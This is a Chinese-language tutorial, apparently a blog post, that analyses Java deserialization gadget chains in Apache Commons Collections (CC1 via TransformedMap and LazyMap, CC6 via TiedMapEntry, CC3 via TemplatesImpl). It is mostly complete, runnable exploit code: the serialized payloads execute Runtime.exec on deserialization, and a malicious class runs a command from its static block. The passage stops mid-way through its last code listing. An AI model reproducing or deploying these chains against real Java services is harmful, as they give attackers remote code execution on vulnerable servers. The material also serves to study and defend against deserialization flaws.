Java安全-CC链全分析

标签：Java java CC org 链全 new apache import class

前置知识

Java访问权限概述

对于一个类，其成员（包括成员变量和成员方法）能否被其他类所访问，取决于该成员的修饰词。在Java中，类成员的访问权限修饰词有四个：private，无（包访问权限），protected 和 public，其权限控制如下表所示：

	同一个类中	同一个包中	不同包的子类	不同包的无关类
public	✔	✔	✔	✔
protected	✔	✔	✔
无（空着不写）	✔	✔
private	✔

不同包中子类: 不同包通过继承获得关系
不同包中的无关类: 不同包通过直接创建对象来获得关系

反射

Java反射操作的是java.lang.Class对象，所以我们需要要先获取到Class对象。

获取Class对象的方式：

1. Class.forName("全类名")：将字节码文件加载进内存，返回Class对象
         多用于配置文件，将类名定义在配置文件中。读取文件，加载类
2. 类名.class：通过类名的属性class获取
         多用于参数的传递
3. 对象.getClass()：getClass()方法在Object类中定义着。
         多用于对象的获取字节码的方式

代码实例：

方式一：
        Class cls1 = Class.forName("Domain.Person");
        System.out.println(cls1);
方式二：
        Class cls2 = Person.class;
        System.out.println(cls2);
        
方式三：

        Person p = new Person();
        Class cls3 = p.getClass();
        System.out.println(cls3);

环境部署

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>cc分析</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>
</project>

CC1

流程分析

入口：org.apache.commons.collections.Transformer

入口类：org.apache.commons.collections.functors.InvokerTransformer，它的transform方法使用了反射来调用input的方法，InvokerTransformer相当于帮我们实现了一个反射调用，并且input，iMethodName，iParamTypes，iArgs都是可控的

因此我们可以通过InvokerTransformer类的transform方法来invoke Runtime类getRuntime对象的exec来实现rce

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class cc1 {
    public static void main(String[] args) {
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());
    }
}

成功执行命令

现在的重点就是去找一个其它的类有transform方法，并且传入的Object是可控的，然后我们只要把这个Object设为InvokeTransformer即可，我们全局搜索transform方法，能够发现很多类都是有transform方法的，我们这里先研究的是CC1，所以我们直接看TransformerMap类

在TransformedMap中的checkSetValue方法中调用了transform，valueTransformer是构造的时候赋的值，再看构造函数

构造函数是一个protected，所以不能让我们直接实例赋值，只能是类内部构造赋值，找哪里调用了构造函数

一个静态方法，这里我们就能控制参数了

如果我们可以调用 TransformedMap 的 checkSetValue方法，那我们给 valueTransformer 实例就可以通过valueTransformer.transform(value) 实现 InvokerTransformer.transform(value) 从而 rce

现在调用transform方法的问题解决了，返回去看checkSetValue，可以看到value我们暂时不能控制，全局搜索checkSetValue，看谁调用了它，并且value值可受控制，在AbstractInputCheckedMapDecorator类中发现，凑巧的是，它刚好是TransformedMap的父类

在这里假如对Java集合熟悉一点的人看到了setValue字样就应该想起来，我们在遍历集合的时候就用过setValue和getValue，所以我们只要对decorate这个map进行遍历setValue，由于TransformedMap继承了AbstractInputCheckedMapDecorator类，因此当调用setValue时会去父类寻找，写一个demo来测试一下：

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("1","2");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
        for(Map.Entry entry:decorate.entrySet()){
            entry.setValue(r);
        }
    }
}

我们追踪一下setValue看是在哪调用的，在AnnotationInvocationHandler中找到，而且还是在重写的readObject中调用的setValue，这还省去了再去找readObject

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

我们分析下AnnotationInvocationHandler这个类，未用public声明，说明只能通过反射调用

查看一下构造方法，传入一个Class和Map，其中Class继承了Annotation，也就是需要传入一个注解类进去，这里我们选择Target，之后说为什么

构造exp:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("1","2");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
//        for(Map.Entry entry:decorate.entrySet()){
//            entry.setValue(r);
//        }
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorate);
    }
}

现在有个难题是Runtime类是不能被序列化的，但是反射来的类是可以被序列化的，还好InvokeTransformer有一个绝佳的反射机制，构造一下：

Method RuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(RuntimeMethod);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

现在还有个小问题，其中我们的transformedmap是传入了一个invokertransformer，但是现在这个对象没有了，被拆成了多个，就是上述三段代码，得想个办法统合起来，这里就回到最初的Transformer接口里去寻找，找到ChainedTransformer，刚好这个方法是递归调用数组里的transform方法

我们就可以这样构造：

Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);

到这一步雏形以及可以构造出来了

package org.example;

import com.sun.xml.internal.ws.encoding.MtomCodec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc1.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("1","2");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorate);
        serialize(o);
        deserialize("cc1.bin");
    }
}

但是这里反序列化并不能执行命令，why？原因在于AnnotationInvocationHandler里触发setValue是有条件的，我们调试追踪进去看看：

要想触发setValue得先过两个if判断，先看第一个if判断，memberType不能为null，memberType其实就是我们之前传入的注解类Target的一个属性，这个属性哪里来的？就是我们最先传入的map map.put(“1”,“2”)
获取这个name：1，获取1这个属性，很明显我们的Target注解类是没有1这个属性的，我们看一下Target类

Target是有value这个属性的，所以我们改一下map，map.put(“value”, 1)，这样就过了第一个if，接着往下看第二个if，这里value只要有值就过了，成功到达setValue，但这里还有最后一个问题，如何让他调用Runtime.class？这里又得提到一个类，ConstantTransformer,这个类的特点就是我们传入啥，它直接就返回啥

这样就能构造最终的exp：

package org.example;

import com.sun.xml.internal.ws.encoding.MtomCodec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc1.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","1");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorate);
        serialize(o);
        deserialize("cc1.bin");
    }
}

以上是其中一条CC1，还有另一条CC1，是从LazyMap入手，我们也来分析一下，在LazyMap的get方法里调用了transform

看构造方法，factory需要我们控制，同样在类内部找哪里调用了这个构造方法

很明显，跟之前基本相似，就是从checkValue换到了get

那么get在哪调用的，还是在AnnotationInvocationHandler，它的invoke方法调用了get

    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

这里是个动态代理，我们可以用AnnotationInvocationHandler来代理LazyMap，这样就会触发invoke方法，构造一下exp（基本大差不差）：

package org.example;

import com.sun.xml.internal.ws.encoding.MtomCodec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc12 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc1_lazymap.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
        Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        Object o = constructor.newInstance(Target.class, newMap);
        serialize(o);
        deserialize("cc1_lazymap.bin");
    }
}

CC6

CC6不受jdk版本限制，算是一条最常用的CC链
这是Ysoserial上的CC6，可以看到后半部分没变，从LazyMap.get开始通过TiedMapEntry.getValue来调用了，我们追踪一下

TiedMapEntry.getValue调用了map.get

看构造函数，map，key我们都能控制

找getValue方法在哪调用，TiedMapEntry自身的hashCode方法调用了，看到这个hashCode是不是很眼熟，没错，我们研究URLDNS的时候就是用到这里，那么显而易见，我们前面的就是HashMap了

构造exp，注意这里跟URLDNS有相同的问题，hashMap.put的时候就触发了hash方法也同时调用了hashCode，所以直接就执行命令了，还是同样的手法将某些值改一下就行了

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc6.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, null);
        Field factory = LazyMap.class.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap, chainedTransformer);
        serialize(hashMap);
        deserialize("cc6.bin");
    }
}

但是这里奇怪的是还是没法弹计算器，我们调试一下看看，发现是LazyMap.get这里的问题，这里有一个if判断，我们这个map没有给值，在hashMap.put触发后给put进去一个null的键，第二次触发的之前我们把这个键删掉就行了。

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc6.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, null);
        map.remove(null);
        Field factory = LazyMap.class.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap, chainedTransformer);
        serialize(hashMap);
        deserialize("cc6.bin");
    }
}

CC3

CC3就跟前两条链不太一样了，CC1与CC6都是执行命令，很多时候服务器的代码当中的黑名单会选择禁用Runtime，而CC3是执行静态代码块，CC3采用的是动态加载类，也就是利用了defineClass，我们搜索哪些类有defineClass,找到这个TemplatesImpl,这玩意厉害的很，以后还有很多地方用到

继续跟进，在defineTransletClasses方法中调用了defineClass

    private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

• _bytecodes需要赋值
• _tfactory需要赋值

不过_tfactory在readObject方法里被赋值了，因此不用管，继续跟进看谁调用了defineTransletClasses，看getTransletInstance,得绕过第一个if判断，所以得反射赋值给_name

• 需要赋值_name
• 不能赋值_class

继续跟进看谁调用了getTransletInstance，现在基本有一个构造思路了，new 一个TemplateIml对象，然后调用newTransformer方法，从而去defineClass

由于还没序列化，所以先手动给_tfactory赋值，不过运行后报了个空指针错误

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class cc3 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc6.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\src\\main\\java\\org\\example\\Eval.java"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
        Transformer transformer = templates.newTransformer();
    }
}

package org.example;

import java.io.IOException;

public class Eval {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    public static void main(String[] args) {

    }
}

调试发现在这由于if判断没过，导致进去这个空指针错误，继续反射修改ABSTRACT_TRANSLET的值就ok，或则让恶意类Eval继承这个ABSTRACT_TRANSLET所指向的类

成功弹出计算器

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class cc3 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc6.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
        Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
        ABSTRACT_TRANSLET.setAccessible(true);
        ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
        Transformer transformer = templates.newTransformer();
    }
}

!

最后的问题是如何去序列化，可以看到Transformer这个类，我们可以结合CC1或者CC6

CC1

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc3.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
        Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
        ABSTRACT_TRANSLET.setAccessible(true);
        ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
//        Transformer transformer = templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
        Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        Object o = constructor.newInstance(Target.class, newMap);
        serialize(o);
        deserialize("cc3.bin");
    }
}

CC6

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc3.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
